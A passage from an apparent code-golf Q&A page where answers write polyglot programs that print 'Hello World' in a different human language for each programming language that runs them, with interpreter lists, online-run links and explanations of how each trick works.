executing. ### Windows IDEs You'll typically need Windows for these, although in some cases there may be binaries available for other operating systems. I can't promise the code will work on other platforms though. **[BefunExec](https://www.mikescher.com/programs/download/BefunUtils)** - *Hello World!* You can't paste the code into the editor, so you'll first need to save it to disk somewhere. Then from the IDE, use the *File > Open* menu to load the code from disk, and select the *Simulation > Run/Pause* menu to run it. **[BeQunge](https://web.archive.org/web/20160711175324/http://www.purplehatstands.com/bequnge/downloads/bequnge-0.2.zip)** - *Labas pasauli!* Press `Ctrl`+`V` to paste in the code, and then click the *Debug* toolbar button (the blue cog) to begin executing. Once the *Debugger* panel appears, you'll want to set the *Speed* to maximum - the button to the right of the slider - otherwise it'll take forever to finish. **[Fungus](https://web.archive.org/web/20060521031531/http://www.teepop.net:80/fungus/fungus-1.00beta-win32.zip)** - *Tere maailm!* Press `Ctrl`+`V` to paste in the code, and then press `F5` to run it. **[Visbef: Visual Befunge '93 for Windows](http://wimrijnders.nl/other/befunge/Visbef.zip)** - *Hallo Wereld!* You can't paste the code into the editor, so you'll first need to save it to disk somewhere. Then from the IDE, press `Ctrl`+`O` to open the file browser and load the code from disk, and press `F5` to run it. ### Windows Console Apps Again these typically require Windows, although other platforms may be available, but not guaranteed to work. In all cases the code will need to be saved to a file on disk and the filename passed to the interpreter as a command line parameter (*source.bf* in the example command lines given below). Also note that some of these are technically Befunge-98 interpreters, and must be run with a particular command-line option to force a Befunge-93 compatibility mode. If you don't do that, you won't get the correct results. **[BEFI: Rugxulo's Befunge-93 Interpreter](https://sites.google.com/site/rugxulo/BEFI_4V.ZIP)** - *Hei Verden!* Command line: `bef93w32 -q source.bf` **[CCBI: Conforming Concurrent Befunge-98 Interpreter](https://deewiant.iki.fi/files/projects/ccbi/ccbi-2.1-windows-x86-32.7z)** - *Sveika pasaule!* Comand line: `ccbi --befunge93 source.bf` **[MTFI: Magus Technica Funge Interpreter](https://web.archive.org/web/20000903032423/http://www.mines.edu:80/students/b/bolmstea/mtfi/mtfi121x.zip)** - *Hai dunia!* Command line: `mtfi -3 source.bf` ([Try it online!](https://tio.run/##dVDBbtswDL3nKxQrQQFpginJcWw38IquhwJLThm2S9FGQVRVnW0ZSeyuO@zXM9lNkOUwHgRSfO/xkWv93FRGs1Sycv9sD4cEhAwxGjIeAa/jBOokodOUxJTXQiZkSqE2KdQj3MLVNb@6pnk69qiRj6B@@bMLqGzbQds@CTzMMQsfsOA4ozjL8cMMQiaIXEHGQmGAG4A6xzMkMKBHzMOIZCQN0qAGIITMZoM8H2ViLAmLQmnihLAp1JzBCgSTIQPJxJhTEfpvQxMw8YT6bDWl9IQ26Yq0A@BxkkEOXMrP0YRL4AJkBAKgBchmNCF0Go8jP5ZOwiijjCSxkZSmSSjG/jWQUu8G/S9ucmPwY4bpJzwKhgHD/OnmhB7e68Kh2/fNsIt7ZdGmqazqii9WOVS6auP6TuFxP/RWFz30zD82iv0HyqG7o8CpeO@KW1e9umbb6@kLvrbou95udNVR9Ou5WDirq5PyXK3VDtVqp5rC/stfOD9lbn@/dapLVTR7NG9K3YtZVCpli9IbWLba/lRHAX0xv/fvtt1enu/K3rPf@Ztf9ijQdd6atasUWrwU3sqZ/1XZXw4tmmrTqI6vyuZ4gaWqqo@8v8BlHA5/AQ)) ### Python and PHP Console Apps These require the appropriate scripting language installed - either Python or PHP. **[Befungee](https://github.com/programble/befungee)** - *Helo Byd!* Command line: `befungee.py source.bf` **[PyFunge](https://pythonhosted.org/PyFunge/install.html)** - *Halo Dunya!* Command line: `pyfunge -v 93 source.bf` ([Try it online!](https://tio.run/##dVDBbtswDL3nKxQrQQFpginJcWw38IpuhwJNThm2S9FGQTRVnW0ZSe0uO@zXU9lNkOUwHgRSfO/xkWv9s6mMZqlk9b5PD4cEhAwxGjIeAa/jBOokodOUxJTXQiZkSqE2KdQj3MLVNb@6pnk69qiRj6B@/rsLqGzbQds@CTzMMQsfsOA4ozjL8cMMQiaIXEHGQmGAG4A6xzMkMKBHzMOIZCQN0qAGIITMZoM8H2ViLAmLQmnihLAp1JzBCgSTIQPJxJhTEfpvQxMw8YT6bDWl9IQ26Yq0A@BxkkEOXMrP0YRL4AJkBAKgBchmNCF0Go8jP5ZOwiijjCSxkZSmSSjG/jWQUu8G/S9ucmPwY4bpJzwKhgHD/OnmhB7e6cKh2/1m2MWdsmjTVFZ1xRerHCpdtXF9p/C4H3qrix565h8bxesHyqGvR4FTse@KW1e9uGbb6@kLvrbou95udNVR9Mu5WDirq5PyXK3VDtVqp5rC/stfOD9lbv@8dapLVTSvaN6UuhezqFTKFqU3sGy1/aWOAvpifu/fbbu9PN@VvWe/8ze/7FGg67w1a1cptHguvJUz/17Z3w4tmmrTqI6vyuZ4gaWqqo@8v8BlHA7v)) **[Bephunge](https://web.archive.org/web/20160413105702if_/http://esoteric.voxelperfect.net/files/befunge/impl/bephunge.phps)** - *Bonjour monde!* Command line: `php bephunge.phps source.bf` ### Source-only Console Apps These will need to be built from source, and that's usually easiest with a \*nix-like environment. On Windows I use the [Windows Subsystem for Linux](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux). **[BEF: Befunge-93 Reference Distribution](https://github.com/catseye/Befunge-93)** - *Ciao mondo!* Command line: `bef -q source.bf` ([Try it online!](https://tio.run/##dVDBbtswDL3nKxQrQQFpginJcWQ38IpuhwJLThm2S9FGQTTVnW0ZSe2uO@zXM9l1kOUwHgRSfO/xkVvzo6msOR4VCBliNGY8Al7HCmql6DwhMeW1kIrMKdQ2gXqCW7i65lfXNEumHjXxEdRPfw4BlW07attHgccZZuE9FhynFKcZvl9AyASRG0hZKCxwC1BneIEEBvSAeRiRlCRBEtQAhJDFYpRlk1RMJWFRKG2sCJtDzRlsQDAZMpBMTDkVof@2VIGNZ9RnmzmlJ7RNNqQdAY9VChlwKT9GMy6BC5ARCIAWIF1QReg8nkZ@LJ2FUUoZUbGVlCYqFFP/Wkiod4P@FzeZtfghxfQDngTjgGH@eHNCj@9M4dDt227cxZ3O0a6pct0Vn3LtUOmqnes7hcd9N3tT9NAzf2gUL@8ohz4PAqfirStuXfXsmn2vZy74JkffzH5nqo5ins/FyuWmOikv9VYfUK0Puinyf/kr56cs89@vnepaF80LWjal6cVyVGqdF6U3sG5N/lMPAuZifu/f7bu9PN@VvWe/81e/7CDQdV6bras0Wj0V3sqZ/0XnvxxaNdWu0R1fl81wgbWuqve8v8BlHI9/AQ)) **[cfunge](https://github.com/VorpalBlade/cfunge)** - *Sawubona Mhlaba!* Command line: `cfunge -s 93 source.bf` **[FBBI: Flaming Bovine Befunge-98 Intepreter](https://github.com/catseye/FBBI)** - *Hei maailma!* Command line: `fbbi -93 source.bf` ([Try it online!](https://tio.run/##dVDBbtswDL3nKxQrQQFpginJcWw38IquhwJLTim2S9FGQVRVnW0ZSe2uO@zXU9lNkOUwHgRSfO/xkWv91FRGs1Syp/Xa7vcJCBliNGQ8Al7HCdRJQqcpiSmvhUzIlEJtUqhHuIWLS35xSfN07FEjH0H9/HcXUNm2g7Z9FHiYYxbeY8FxRnGW4/sZhEwQuYKMhcIANwB1jmdIYEAPmIcRyUgapEENQAiZzQZ5PsrEWBIWhdLECWFTqDmDFQgmQwaSiTGnIvTfhiZg4gn12WpK6RFt0hVpB8DjJIMcuJRfowmXwAXICARAC5DNaELoNB5HfiydhFFGGUliIylNk1CM/Wsgpd4N@l9c5cbghwzTL3gUDAOG@ePVET281YVD1@@bYRe3yqJNU1nVFd@scqh01cb1ncLjfuqtLnroiX9oFK@fKIduDgLH4r0rrl314pptr6fP@NqiH3q70VVH0S@nYuGsro7Kc7VWO1SrnWoK@y9/4fyUuf3z1qkuVdG8onlT6l7MolIpW5TewLLV9pc6COiz@b1/t@328nxX9p79znd@2YNA13lr1q5SaPFceCsn/ndlfzu0aKpNozq@KpvDBZaqqj7z/gLnsd9/AA)) **[Fungi](https://github.com/thomaseding/fungi)** - *Kaixo Mundua!* Command line: `fungi source.bf` **[Rc/Funge-98](http://www.rcfunge98.com/rcfunge2.tgz)** - *Salom Dunyo!* Command line: `rcfunge -93 source.bf` ### How it works The challenge with this was finding the fewest number of tests that provided the most differentiation between interpreters. In the end it came down to four main test sequences: 1. The first is an out-of-bounds memory read from offset -1,1. In theory this should always return 32 (ASCII space), but there were actually 10 variations in practice. This test is complicated by the fact that two of the interpreters crash on an out-of-bounds read, so a couple of special-case tests (division rounding and space bridging) were required to force those two back into bounds. 2. The second sequence is a test of Befunge-98 functionality - specifically the instructions `;` and `'`. Almost all of the interpreters are Befunge-93, or are run in Befunge-93 compatibility mode, so they should just ignore those instructions. In practice there were 6 different ways in which this sequence was interpreted. 3. The third test checks the range of memory cells. In the reference interpreter, memory cells are signed 8-bit, but other implementations vary in range from 8-bit to unbounded, some signed and some unsigned. However, for the purposes of this test, we only had to distinguish between 5 of those variants. 4. The fourth and final sequence is a combination of underflow and negative division tests. There are a number of ways in which interpreters get underflow wrong, and there are at least 3 different ways in which the division and modulo instructions are implemented, but there were only 3 combinations we cared about here. Each of these sequences returned a single number, and those four numbers were combined (via some basic arithmetic and translation tables) to produce a final value in the range 0 to 22. That value could then be used as an index to lookup the actual message to display. [Answer] # 15 languages, 532 bytes ``` # ;"!audnuM oxiaK">:#,_@R"Hej Verden!";;@,kb"Tere maailm!";# w"!amliaam ieH"ck,@oooooooooo"Hai dunia!" `true #{puts'Hola món!'}` \ __END__ "Hola Mundo!" puts case `ps -p$$ -oargs=` in \ b*)echo Hallo Welt!;;k*)echo Ndewo Ụwa!;;d*)echo Ciao mondo!;;z*)echo Moien Welt!;;a*)echo Hei Verden!;;esac true; #xx #x%"Olá Mundo!"x #xx+++[++[<+++>->+++<]>+++++++]<<<--.<.<--..<<---.<+++.<+.>>.>+.>.>-.<<<<+. ``` [Try it online!](https://tio.run/##XY/RSsMwFIavm6c4TSdDu/YBTC0DFQqyCSJ6oaM9a6PGtcloV1YUH0bwDbz0ck/ik9SkrLp5SP7k/3LOSfIgqkoo2bYOMGpjncl6AqoReEHDY2cUj69oxJ/hhpcZlzZlbDxazOk1LzkUiCIvNHNgrUuLXCAWIHhE08VorH6DRiggq6VAm5JkVdYcnNdlvaqGkcoRis2ntIdvCdyTOD6fnsUxod3BpJaZsimYVJJixSFZVuAtBwPwFJaP1UkCQuqy@dEhT58URJjnCm55vrIZW2zhNONrBd9fH2vUNNvSU4EKCmUuYOxlCydKcNnXY9@Ui/73jPEKU2J@wIA4TaPnAb3MN@/9Ww1pXNe90yPQa@iFWoOZUROzIAg8zw98o77Za6O5Fj8M/VCrH2qkw/UJAFjdAGIZo/edt3asIXvW@jvtdM9ZO7ldr/3G/5I717Y/ "Fission – Try It Online") 1. `Kaixo Mundua!` in Befunge-93 2. `Hej Verden!` in Fission 3. `Tere maailm!` in Unefunge-98 4. `Hei maailma!!` in Befunge-98 5. `Hai dunia!` in ><> 6. `Hola món!` in Ruby 7. `Hola Mundo!` in GolfScript 8. `Hallo Welt!` in bash 9. `Ndewo Ụwa!` in ksh 10. `Ciao mondo!` in dash 11. `Moien Welt!` in zsh 12. `Hei Verden!` in ash 13. `Olá Mundo!` in Cardinal 14. `Hello World!` in brainfuck, [courtesy of primo](https://codegolf.stackexchange.com/a/68494/3852). 15. `Helo Byd!` in Whitespace # Explanation Line 1 distinguishes between five 2D esolangs: 1. `><>` reads `#` as a mirror, wraps around to the left, prints `"Hai dunia!"` and crashes (`@`). All the Funges read it as a trampoline and go right. 2. Befunge-93 ignores `;`, prints `Kaixo Mundua!` and exits (`@`). 3. The ’98 Funges jump from the first `;` to the second, then from the third `;` to the fourth. `w` is a NOP for Befunge-98, printing `Hei maailma!`. 4. But `w` reflects the instruction pointer in Unefunge-98, printing `Tere maailm!`. 5. Fission doesn’t start in the top-left corner at all. `R"Hej Verden!";` is executed. (Another instruction pointer starts from the `D` in `__END__`, but it does nothing then dies to the `;` in `true;`.) Ruby sees ``true #{puts'Hola món!'}``, then `__END__`. GolfScript sees ```, then `true` (NOP), then a comment; then `__END__` (NOP); then `"Hola Mundo!" puts` (this is executed); then `case` (NOP), then ``` (crashes on empty stack). The shells see a comment, then an invocation to `true` (NOP), then invocations to unknown commands `__END__` and `"Hola Mundo!"` (which error to STDERR but execution continues), then the `case` statement which distinguishes based on the first letter of the name of the current process. Cardinal is another 2D esolang which starts at the `%`, sending 4 IPs up, down, left, and right. They're all killed by the surrounding `x` commands, but one prints `"Olá Mundo!"` before dying. The brainfuck code is primo’s, prefixed with `++` to counteract the dashes in `ps -p$$ -oargs=`. The whitespace in my code is executed as the Whitespace program ``` push 0 push 0 label_0: push 0 push 0 drop drop push 72; printc push 101; printc push 108; printc push 111; printc push 32; printc push 66; printc push 121; printc push 100; printc push 33; printc ``` which prints `Helo Byd!` **EDIT**: I forgot that adding `UDLR` characters breaks the Fission program, so I’ve changed the strings up to avoid these. [Answer] # 4 languages, 75 bytes ``` #"Hej Verden!"o| print ([]and(0and"Hola món!"or"Helo Byd!")or"Hai dunia!") ``` **[Python](https://tio.run/##K6gsycjPM/7/X1nJIzVLISy1KCU1T1Epv4aroCgzr0RBIzo2MS9FwwBIKHnk5yQq5B7eDJIvAirPyVdwqkxRVNIE8RIzFVJK8zITgdz//wE) - `Hai dunia!`** **[Perl](https://tio.run/##K0gtyjH9/19ZySM1SyEstSglNU9RKb@Gq6AoM69EQSM6NjEvRcMASCh55OckKuQe3gySLwIqz8lXcKpMUVTSBPESMxVSSvMyE4Hc//8B) - `Helo Byd!`** **[Ruby](https://tio.run/##KypNqvz/X1nJIzVLISy1KCU1T1Epv4aroCgzr0RBIzo2MS9FwwBIKHnk5yQq5B7eDJIvAirPyVdwqkxRVNIE8RIzFVJK8zITgdz//wE) - `Hola món!`** **[Haystack](https://tio.run/##y0isLC5JTM7@/19ZySM1SyEstSglNU9RKb@Gq6AoM69EQSM6NjEvRcMASCh55OckKuQe3gySLwIqz8lXcKpMUVTSBPESMxVSSvMyE4Hc//8B) - `Hej Verden!`** [Answer] # 7 languages, 221 bytes ``` <?php echo'مرحبا بالعالم!';die?>h+#;"!dlereW ollaH"ck,@; ;echo Kaixo Mundua!; <@,k+4f"ሰላም ልዑል!" Բարեւ աշխարհ! @,k+4f"Përshendetje Botë!";XXXX;"Hello Wêreld!" ``` Since this program contains some nasty characters, here's an xxd: ``` 00000000: 3c3f 7068 7020 6563 686f 27d9 85d8 b1d8 <?php echo'..... 00000010: add8 a8d8 a720 d8a8 d8a7 d984 d8b9 d8a7 ..... .......... 00000020: d984 d985 2127 3b64 6965 3f3e 682b 233b ....!';die?>h+#; 00000030: 2221 646c 6572 6557 206f 6c6c 6148 2263 "!dlereW ollaH"c 00000040: 6b2c 403b 0a0c 3b65 6368 6f20 4b61 6978 k,@;..;echo Kaix 00000050: 6f20 4d75 6e64 7561 213b 2020 2020 2020 o Mundua !; 00000060: 2020 2020 2020 2020 2020 2020 2020 2020 00000070: 2020 3c40 2c6b 2b34 6622 e188 b0e1 888b <@,k+4f"...... 00000080: e188 9d20 e188 8de1 8b91 e188 8d21 220a ... .........!". 00000090: 0ad4 b2d5 a1d6 80d5 a5d6 8220 d5a1 d5b7 ........... .... 000000a0: d5ad d5a1 d680 d5b0 210a 402c 6b2b 3466 ........!.@,k+4f 000000b0: 2250 c3ab 7273 6865 6e64 6574 6a65 2042 "P..rshendetje B 000000c0: 6f74 c3ab 2122 3b58 5858 583b 2248 656c ot..!";XXXX;"Hel 000000d0: 6c6f 2057 c3aa 7265 6c64 2122 0a lo W..reld!". ``` * Unefunge-98 prints `Përshendetje Botë!` - [Try it online!](https://tio.run/##K81LTSvNS0/VtbTQLagEM///t7EvyChQSE3OyFe/2Xpj4421N1bcWK4AIm623NgJIm@2Kqpbp2Sm2ttlaCtbKymm5KQWpYYr5OfkJHooJWfrOFhz8ViDDFDwTsysyFfwLc1LKU1UtFbAAWwcdLK1TdKUHnZseNjR/bBjrsLDjt6H3ROBpKISF9eVTVcXXmu4uvRak8LVhVe3X10L5m5Q5IJqCzi8uqg4IzUvJbUkK1XBKb/k8GpFJesIILBW8kjNyclXCD@8qig1JwVo2P//AA) * Befunge-98 prints `Hallo Wereld!` - [Try it online!](https://tio.run/##S0pNK81LT9W1tNAtqAQz//@3sS/IKFBITc7IV7/ZemPjjbU3VtxYrgAibrbc2Akib7YqqlunZKba22VoK1srKabkpBalhivk5@QkeiglZ@s4WHPxWIMMUPBOzKzIV/AtzUspTVS0VsABbBx0srVN0pQedmx42NH9sGOuwsOO3ofdE4GkohIX15VNVxdea7i69FqTwtWFV7dfXQvmblDkgmoLOLy6qDgjNS8ltSQrVcEpv@TwakUl6wggsFbySM3JyVcIP7yqKDUnBWjY//8A) * Trefunge-98 prints `ሰላም ልዑል!` - [Try it online!](https://tio.run/##KylKTSvNS0/VtbTQLagEM///t7EvyChQSE3OyFe/2Xpj4421N1bcWK4AIm623NgJIm@2Kqpbp2Sm2ttlaCtbKymm5KQWpYYr5OfkJHooJWfrOFhz8ViDDFDwTsysyFfwLc1LKU1UtFbAAWwcdLK1TdKUHnZseNjR/bBjrsLDjt6H3ROBpKISF9eVTVcXXmu4uvRak8LVhVe3X10L5m5Q5IJqCzi8uqg4IzUvJbUkK1XBKb/k8GpFJesIILBW8kjNyclXCD@8qig1JwVo2P//AA) * Actually prints `Hello Wêreld!` - [Try it online!](https://tio.run/##S0wuKU3Myan8/9/GviCjQCE1OSNf/WbrjY031t5YcWO5Aoi42XJjJ4i82aqobp2SmWpvl6GtbK2kmJKTWpQarpCfk5PooZScreNgzcVjDTJAwTsxsyJfwbc0L6U0UdFaAQewcdDJ1jZJU3rYseFhR/fDjrkKDzt6H3ZPBJKKSlxcVzZdXXit4erSa00KVxde3X51LZi7QZELqi3g8Oqi4ozUvJTUkqxUBaf8ksOrFZWsI4DAWskjNScnXyH88Kqi1JwUoGH//wMA) * Bash prints `Kaixo Mundua!` - [Try it online!](https://tio.run/##S0oszvj/38a@IKNAITU5I1/9ZuuNjTfW3lhxY7kCiLjZcmMniLzZqqhunZKZam@Xoa1sraSYkpNalBqukJ@Tk@ihlJyt42DNxWMNMkDBOzGzIl/BtzQvpTRR0VoBB7Bx0MnWNklTetix4WFH98OOuQoPO3ofdk8EkopKXFxXNl1deK3h6tJrTQpXF17dfnUtmLtBkQuqLeDw6qLijNS8lNSSrFQFp/ySw6sVlawjgMBaySM1JydfIfzwqqLUnBSgYf//AwA) * PHP prints `مرحبا بالعالم!` - [Try it online!](https://tio.run/##K8go@P/fxr4go0AhNTkjX/1m642NN9beWHFjuQKIuNlyYyeIvNmqqG6dkplqb5ehrWytpJiSk1qUGq6Qn5OT6KGUnK3jYM3FYw0yQME7MbMiX8G3NC@lNFHRWgEHsHHQydY2SVN62LHhYUf3w465Cg87eh92TwSSikpcXFc2XV14reHq0mtNClcXXt1@dS2Yu0GRC6ot4PDqouKM1LyU1JKsVAWn/JLDqxWVrCOAwFrJIzUnJ18h/PCqotScFKBh//8DAA) * Retina prints `Բարեւ աշխարհ!` - [Try it online!](https://tio.run/##K0otycxL/P/fxr4go0AhNTkjX/1m642NN9beWHFjuQKIuNlyYyeIvNmqqG6dkplqb5ehrWytpJiSk1qUGq6Qn5OT6KGUnK3jYM3FYw0yQME7MbMiX8G3NC@lNFHRWgEHsHHQydY2SVN62LHhYUf3w465Cg87eh92TwSSikpcXFc2XV14reHq0mtNClcXXt1@dS2Yu0GRC6ot4PDqouKM1LyU1JKsVAWn/JLDqxWVrCOAwFrJIzUnJ18h/PCqotScFKBh//8DAA) [Answer] # 5 languages, 168 bytes ``` //"!nedreV jeH",,,,,,,,,,,@R"Hello World!"*#x ///"!mliaam ereT">:?v; x"!dyB oleH" %x // ^ o< x // >`Sawubona Mhlaba!`; ``` I think 2-dimensional languages are interesting. ><> prints `Tere maailm!` Befunge-98 prints `Hej Verden!` Beeswax prints `Sawubona Mhlaba!` Cardinal prints `Helo Byd!` Fission prints `Hello World!` [Try it online!](https://tio.run/##S04sSsnMS8z5/19BQV9fSTEvNaUoNUwhK9VDSQcBHIKUPFJzcvIVwvOLclIUlbSUK7j0QcpzczITE3MVUotSQ5TsrOzLrBUqlBRTKp0U8nOAJigggCpIgwIqiFPIt1HABcDq7RKCE8tLk/LzEhV8M3ISkxIVE6z//wcA "Cardinal – Try It Online") (Cardinal) [Answer] # 2 languages, 16 characters, 24 bytes *Well, at least that's shorter than both strings.* ``` L"שלום עולם"33ç« ``` **[05AB1E](https://tio.run/##MzBNTDJM/f/fR@n6yutzrk@9Plfh@iIgNef6XCVj48PLD63@/x8A) - `שלום עולם!`** **[Help, WarDoq!](http://cjam.aditsu.net/#code=l%3AQ%7B%22HhEeLlOoWwRrDd%2C!AaPpQq%22Q%7C%5B%22Hh%22%22ello%22a%5B'%2CL%5DSa%22Ww%22%22orld%22a%5B'!L%5D%5D%3Am*%3A%60%5B%7Briri%2B%7D%7Briri%5E%7D%7Brimp%7D%7Brizmp%7DQ%60Q%7B%5C%2B%7D*%60L%5D%2Ber%3A~N*%7D%3AH~&input=L%22%D7%A9%D7%9C%D7%95%D7%9D%20%D7%A2%D7%95%D7%9C%D7%9D%2233%C3%A7%C2%AB) - `Hello World!`** Help, WarDoq! can add two numbers and test for primes, so it is considered as a valid programming language per [this meta post](https://codegolf.meta.stackexchange.com/questions/2028/what-are-programming-languages/2073#2073). [Answer] ## 3 languages, ~~67~~ 62 bytes To qualify for [this](https://codegolf.meta.stackexchange.com/a/14637/31957) bounty (100 rep). ``` x:Helo Byd! O y:"Hai dunia!" u?`h;`4$'5^5D+Asi:^:E+IvIvAB*vhm, ``` **Add++:** [Try it online!](https://tio.run/##S0xJKSj4/7/CyiM1J1/BqTJFkcufq9JKySMxUyGlNC8zUVGJq9Q@IcM6wURF3TTO1EXbsTjTKs7KVduzzLPM0UmrLCNX5/9/AA "Add++ – Try It Online") **Foo:** [Try it online!](https://tio.run/##S8vP//@/wsojNSdfwakyRZHLn6vSSskjMVMhpTQvM1FRiavUPiHDOsFERd00ztRF27E40yrOylXbs8yzzNFJqywjV@f/fwA "Foo – Try It Online") **Somme:** [Try it online!](https://tio.run/##K87PzU39/7/CyiM1J1/BqTJFkcufq9JKySMxUyGlNC8zUVGJq9Q@IcM6wURF3TTO1EXbsTjTKs7KVduzzLPM0UmrLCNX5/9/AA "Somme – Try It Online") ## Explanation ### Add++ Add++ sees: ``` x:Helo Byd! O ``` "Output `x`'s string" ``` y:"Hai dunia!" ``` "Set y to a different string" ``` u?`h;`4$'5^5D+Asi:^:E+IvIvAB*vhm, ``` "idk something weird, I'll error out" ### Foo Foo sees: ``` x:Helo Byd! O y:"Hai dunia!" ``` "Oo, quotes, I'll output those." ``` u?`h;`4$'5^5D+Asi:^:E+IvIvAB*vhm, ``` "Uh... something about a mode? Idk, I'll error out." ### Somme Somme sees, well, this: ``` 8s+vi:4+vhIvE-Asi:^:E+IvIvAB*vhm, ``` Every column is converted to code points, then 32 is subtracted from them, then each is taken modulo 95. This corresponds to these characters, which print, "Hei Verden!" [Answer] # 4 languages, 138 bytes ``` ''' '/*' ''' print(["Bonjour monde!","Hei maailma!","Hallo Wereld!"][((int(not 0)is 1)+2*int(1/2==0))-1]) ''' '*/print("Hallo Welt!")' ''' ``` [Try it online!](https://tio.run/##PY0xDsMgEAR7v@KgOY4kwrh3kyo/SGG5QDIFEXAWJu8nMZHSrLQrzc5euHJuDREBjf4G4rCXkKta5J3zi98FEufNC3mVDx8gORdicr26GBmevvi4CbkuSp1c5gojhQMsXSZ9LtZM8zwS3exKQzdp83P8L2IVkrq9tQ8 "Proton – Try It Online") Py1, Py2, Py3, Proton; thanks to Mr. Xcoder; translated from Zacharý's answer [Answer] # 4 languages, 115 bytes ``` print ((("b" + "0" == 0)and eval('"Hallo Wereld!"'))or(0 and"Hello World!"or(1/2and"Hei Verden!"or"Hej Verden!"))); ``` Perl 5 gives `Hallo Wereld!` - [TIO](https://tio.run/##PYo7DoMwDIav8tcLtjqQVmKq2DkBzEHxQGUlyKp6/RCo1PF77Oo21Lr7lj9gZloJd1AgjCOCxJyg32jc0RTNChZ1tXSjTqQ4B7SBJr1K8TM0@@ifP71hVk@aT9vw/UcRedV6AA) Ruby gives `Hello World!` - [TIO](https://tio.run/##PYo7DoMwDIav8tcLthgIXSt2TgBzUDyAoqSy2ko9fQggMX4P@y7/Ut62pg@YmRZCC3KEYYATnwL05yM3NPoYM2Y1jeFBjUg2dqgDjXqWbEeotu@el14xqQVNh6243Sgir1J2) Python 2 gives `Hej Verden!` - [TIO](https://tio.run/##PYpLCoMwEIav8nc2ztCFqdvi3hPUdSQDtYREBhE8fYwVXH6PZV@/OXWlLDanFcxME@EJcoS@hxOfAnTzkRsafIwZo5rG8KBGJBs71IEG/ZdsZ6j21XaXnvFRC5pOW/F3o4i8SzkA) Python 3 gives `Hei Verden!` - [TIO](https://tio.run/##PYpLCoMwEIav8nc2ztBFo10W956gXUcyoCUkMkihp49RweX3WP7rlNOzlMXmtIKZaSTcQY7Q93DiU4D@fOSGBh9jxkdNY7hRI5KNHepAgx4l2x6qbR/dqWe81YKm3Vb8Xigir1I2) [Answer] # Four Languages, a whopping 650 bytes ``` //iiciccepepceaiiiaiaiaicccsascciijceeeeeejccijjccjceaajaajcccjeeejaajaaijcccej //[ /* GOTO end */ //pis //p //p //\u000Apublic class Main{public static void main(String[]a){System.out.print("Salut Lume!");}} /* lblend print Hola Mundo! //s */ //] //s //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++++++++++++++++++++++++++++++++++.--------.++++++++++++++.-------------------------------------------------------------------------------.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++.-.----------.+++++++++++.------------------------------------------------------------------------------. ``` Java gives "Salut Lume!" [Try it!](https://tio.run/##rU67bgMhEOzvK7ArP2S4PlWqpIjl4tI5LtZ7KFrMAQpgKbL87ZeFXJlIkXIDLMxoxIyBK@x80M70l3FUiggJUQcdUAMRQV2IGCEiEhnUFYaJ4cEcwPBmiyl6ZVSoNo1Sx0ZtmqfD60Fo1zcbxVKgWOZ03nLbto8hny2hQAsxij2Qu01KTJD4unrqxcD6qksf5N6PJ1jfus@Y9CB9TjKwmFbLDmxO4iUPerFcP9zvJdyebYmuDvHsLYh9dr1fcHb8LnSqT6W2/4f8o203Qf6izwS5nROyFJQ//z5zczmOXw) S.I.L.O.S gives "Hola Mundo" [Try it!](https://tio.run/##rU67TgMxEOzvK5xUeQj7eioqKIhSHF1Isdmz0Fq@s8XaSCjKtx9rcyVISNzYXntGI88w@cDTZAwREqKNNqIFIoK6EJGBEYkc2gonxMkQDuBki8UVvTIq1LrGmFNjds3j8eWo7Ng3OyNSJC5zPq@5bduHmC@eUKEHZnUAGq@zwgmSXB@BejWIvunSO41vpzNsr90nJzvokJOOIqbNugOfk3rOg12tt/e3Wwn3F1@iq0M9BQ/qkMc@rCSbvwud69OY/f@h/2i7m6F/0ReC3i8JXQrqn39fuLmepi8) Brainfuck gives "Ciao mondo!" [Try it!](https://tio.run/##rU49b8MgFNz9K0imfKjgPVOnZkiUwd3SDM/PtHoE2yhApCjKb3cf1GMjVaoPeHCnE3f1Baj7jHgeBqWIkBC10w41EBHkhYgePCKRQZ1hmBgezAEMb7aYpGdGiWpTKHUs1Kp4O7wfhO6aYqVYcuTTHM9HLMvy1cXaEgq04L3Yc5/7qPgAga9rT41oWV9U4ULd1/EEy3t180G3so9BOhbDYl6BjUHsYqtn8@Xm8UjhtrYpOjvEtrcg9rFr@hln@59Cp/xUav1/yD/aXkbIJ/pEkOspIVNB@fvvEzeXw/AN) (The alphuck code is modified from the Esolangs page on [Alphuck](https://esolangs.org/wiki/Alphuck)) Alphuck gives "Hello World!" [Try it!](https://tio.run/##rU6xbsIwFNzzFYYJiGpn78RUhiKGsFGGx4tFn3ESC9uVKsS3p88mI5UqNWf72Xc6@Q6s@4x4GQaliJAQtdMONRAR5IWIHjwikUGdYZgYHswBDG@2mKRnRolqUyh1KNSqeNvtd0J3TbFSLDnyaY7nI1ZVtXbxZAkFWvBebIG626j4AIGvr54a0bK@qMOVuvPhCMtb/e2DbmUfg3QshsW8BhuDeI@tns2Xr/d7Crcnm6KzQ2x6C2Ibu6afcbZ/FDrmp1Ll/yH/aHsZIX/RJ4Isp4RMBeXz3yduLofhBw) The line beginning \u000A is the Java code. The code on line one is the Alphuck code, which will ignore the rest of the code (as long as "p" and "s" are balanced. The relevant line for SIL/S.I.L.O.S is "print Hola Mundo", and the brainfuck code is at the end and will ignore the rest of the code. [Answer] # 5 languages, 213 bytes I decided to try and write a small answer myself. ``` #include<stdio.h> #define hint(x)int main(){auto i=.5;puts(i?"Hallo Welt!":"Hei maailma!");} #define R "Pozdrav svijete!"; #if 0 hint=print goto=len s="Tere maailm!" goto("endif") s="Hallo Wereld!"; #endif hint(s) ``` **Languages:** ``` C: Hei maailma! (Finnish) C++: Hallo Welt! (German) Python 3: Hallo Wereld! (Dutch) Operation Flashpoint scripting language: Tere maailm! (Estonian) Fission: Pozdrav svijete! (Croatian) ``` **C and C++ see the code as:** ``` #include<stdio.h> #define hint(x)int main(){auto i=.5;puts(i?"Hallo Welt!":"Hei maailma!");} #define R "Pozdrav svijete!"; // Unused macro hint(s) ``` `auto i=.5;` is (in effect) equal to `int i=0;` in C, but equal to `double i=0.5;` in C++. [Try it online! (as 